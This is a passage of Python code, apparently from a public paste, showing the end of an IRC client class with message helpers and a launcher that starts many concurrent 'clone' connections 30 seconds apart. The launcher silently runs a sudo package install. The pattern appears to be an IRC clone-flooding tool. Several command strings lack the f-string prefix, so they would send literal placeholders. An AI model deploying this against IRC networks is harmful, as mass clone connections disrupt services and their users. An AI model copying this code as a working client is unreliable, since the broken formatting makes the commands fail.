  944. data = self.sock.recv(1024).decode('utf-8')
  945. for line in (line for line in data.split('\r\n') if line):
  946. debug(line)
  947. if line.startswith('ERROR :Closing Link:'):
  948. raise Exception('Connection has closed.')
  949. elif len(line.split()) >= 2:
  950. self.handle_events(line, bot_nick, command)
  951. except (UnicodeDecodeError,UnicodeEncodeError):
  952. error('Unicode error has occured.')
  953. pass
  954. except Exception as ex:
  955. error('Unexpected error occured.', ex)
  956. break
  957. self.event_disconnect()
  958.  
  959. def nick(self, nick):
  960. self.raw('NICK ' + nick)
  961.  
  962. def invite(self, nick, chan):
  963. self.raw('INVITE {nick} {chan}')
  964.  
  965. def join_channel(self, chan, key=None):
  966. if key:
  967. self.raw('JOIN {chan} {key}')
  968. else:
  969. self.raw('JOIN ' + chan)
  970.  
  971. def notice(self, target, msg):
  972. self.raw('NOTICE {target} :{msg}')
  973.  
  974. def oper(self, user, passwd):
  975. self.raw('OPER {user} {passwd}')
  976.  
  977. def part(self, chan, msg=None):
  978. if msg:
  979. self.raw('PART {chan} {msg}')
  980. else:
  981. self.raw('PART ' + chan)
  982.  
  983. def quit(self, msg=None):
  984. if msg:
  985. self.raw('QUIT :' + msg)
  986. else:
  987. self.raw('QUIT')
  988.  
  989. def raw(self, msg):
  990. self.sock.send(bytes(msg + '\r\n', 'utf-8'))
  991.  
  992. def sendmsg(self, target, msg):
  993. self.raw('PRIVMSG {0} :{1}'.format(target, msg))
  994.  
  995. for i in range(concurrent):
  996. if os.path.isfile("/usr/bin/nslookup"):
  997. pass
  998. else:
  999. os.system("sudo apt-get install dnsutils")
  1000. clone().start()
  1001. time.sleep(30)
  1002. input('')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement